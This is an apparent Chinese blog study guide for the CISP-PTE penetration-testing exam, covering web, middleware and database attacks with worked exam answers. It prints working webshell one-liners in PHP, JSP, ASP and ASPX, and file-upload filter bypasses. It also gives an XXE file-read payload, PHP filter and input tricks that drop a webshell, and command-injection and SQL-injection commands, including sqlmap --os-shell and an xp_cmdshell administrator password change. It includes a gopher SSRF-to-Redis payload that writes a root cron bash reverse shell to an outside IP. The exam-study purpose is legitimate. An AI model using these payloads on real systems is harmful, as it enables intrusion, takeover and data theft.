了解CISP-PTE考试
CISP-PTE即注册信息安全渗透测试工程师,英文为 Certified Information Security Professional – Penetration Test Engineer ,简称 CISP-PTE。
准毕业生OR在校生、信息安全从业人员、网络安全兴趣爱好者都可以考。
第一章:Linux和Windows系统安全
文件权限设置,安全策略,日志分析
第二章:web安全
文件上传漏洞
常用一句话木马
PHP:
<?php eval($_REQUEST['hex']);?>
JSP:
<%Runtime.getRuntime().exec(request.getParameter("hex"));%>
ASP:
<%eval request("hex")%>
ASPX:
<%@ Page Language="Jscript"%><%eval(Request.Item["hex"],"unsafe");%>
木马函数被过滤可以修改函数,考试好像不需要免杀
MIME类型检测
抓包修改Content-Type为图片类型image/gif绕过检测
文件头检测
一般在文件头添加GIF89a绕过检测
黑名单检测
修改filename后缀,利用大小写等其他特性绕过
考试题目
利用上面几种方式上传文件成功,文件名比如shell.php,上传后路径为:根目录/md5(shell.php+rand(1,1000)),这里需要写脚本爆破,脚本代码:
import hashlib for num in range(1,1000): mulu = 'shell.php'+str(num) checkcode = hashlib.md5(mulu.encode("utf-8")).hexdigest() fp = open('1.txt','a') fp.write(checkcode + '/n') fp.close print(checkcode)
这里多上传几次文件,缩短爆破时间
注入漏洞
XML注入
PHP有个simplexml_load_string函数容易引发漏洞
支持协议:
一般引用外部实体参数,这里为test,这里使用file协议:
<!DOCTYPE hex[<!ENTITY test SYSTEM "file:///var/www/html/key.txt">]>
使用&test;调用
代码注入
使用文件包含漏洞进行代码注入,一般分为本地和远程包含,远程包含必须开启allow_url_include和allow_url_fopen,常见函数:
PHP文件包含的文件内容都被作为代码执行,比如上传一个1.jpg,内容写入
<?php system('ifconfig');?>
利用文件包含执行代码
比如127.0.0.1/file.php?filename=file:///var/www/html/key.txt读取key或者直接包含
使用php://协议读取脚本,比如要读取php文件,一般浏览器不会显示源代码,例如读取key.php
127.0.0.1/file.php?filename=php://filter/read/convert.base64-encode/resource=/var/www/html/key.php
显示base64加密的代码,解密就行了
使用php://input提交POST参数,可以写入一句话木马:
<?php fputs(fopen("shell.php","w"),'<?php eval($_REQUEST["hex"]);?>');?>
使用命令执行漏洞进行代码注入,Windows和Linux多条命令语法格式:
考试题目1
allow_url_fopen和allow_url_include都是开启可以利用远程包含,在vps写一个1.txt文件,里面写上代码,包含远程1的文件,自动会加上.txt就可以执行
考试题目2
源代码有php代码,应该需要包含进来执行php代码,代码先要传参不能为null,再正则替换关键词,把加密的代码decode:
发现POST参数decode后用eval函数执行,所以构造payload:Hello=123&z0=system('cat /var/www/html/key.php');
再进行base64加密最后:Hello=123&z0=c3lzdGVtKCdjYXQgL3Zhci93d3cvaHRtbC9rZXkucGhwJyk7
获取key:
考试题目3
命令执行漏洞,输入127.0.0.1&ifconig,找出未被过滤的拼接字符为&,获取key发现被过滤:
还有种方法用nc反弹shell,查看本地IP监听本地4444端口:nc -lvvp 4444
输入命令:
考试题目4
GET传参不能为空,并且不能大于30个字符,exec函数执行命令但是无法回显内容,所以尝试写入一句话木马:
发现参数大于30个字符,所以这里分段写入,先写一段再用>>追加进去,eval函数执行php代码,也可以把一句话的eval函数换成system:
SQL注入
判断注入类型,一种为字符一种为数字,字符就是加了引号,可以使用加减法判断类型,使用单引号查看报错
注释符号:/**/ # -- -(加空格后面为其他字符)
order by 语句判断有多少列:
information_schema库:
schemata表记录数据库名的表
tables表记录表名的表
columns表记录列名的表
SQLmap使用
SQLmap文件操作,添加--file-read读取文件,--file-write写入文件--file-dest为目的地址,--os-shell获取shell,--os-cmd执行cmd命令
mysql的load_file函数读取文件,比如load_file('/var/www/html/key.php')
mysql的outfile和dumpfile函数,比如'写入内容' into outfile 'C:/'
WAF绕过
sqlmap的tamper脚本绕过WAF,--tamper=脚本名字:
考试题目
XSS漏洞
请求伪造漏洞
SSRF服务端请求伪造
dict://ip:port/info 伪协议探测端口开放,file协议读取文件:
考试题目
利用gopher+ssrf+redis未授权反弹shell:
payload,回车是%0a,因为CR和LF回车换号改为%0d%0a:
curl.exe -v "gopher://172.16.12.2:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$60%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.16.11.2/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a"
encode后payload:
curl.exe -v "gopher%3A%2F%2F172.16.12.2%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2460%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.16.11.2%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a"
一般payload差不多,设置IP时或者端口字数不一样这里$60需要更改
CSRF跨站请求伪造
访问控制漏洞
横向越权
垂直越权
使用cookie进行严格验证
会话管理漏洞
会话劫持
第三章:中间件安全
Apache安全
apache配置文件位于:/etc/httpd/conf/httpd.conf
会自动创建叫apache的用户和组,权限配置:
Apache服务文件名解析漏洞
Apache服务日志审计
分析日志获取后台或者webshell等信息
IIS服务安全
Tomcat服务安全
数据库安全
关系型数据库:
Mssql数据库
利用xp_cmdshell存储过程操作系统文件执行命令,打开禁用xp_cmdshell存储:
测试aspx站点,Mssql注入之后远程桌面登录服务器,这里用堆叠注入分号结束上一个语句:;exec xp_cmdshell "net user administrator test123"--
Mysql数据库
操作系统中的运行权限等其他权限,用命令赋予root用户登录权限,默认为关闭:
提权方法,使用Udf提权,使用UDf大马,创建自定义函数执行系统命令:
Oracle数据库
PTE不考,PTS考
非关系型数据库:
Redis数据库
PTE不考,PTS考
渗透测试方法
本文作者为江小悠,转载请注明。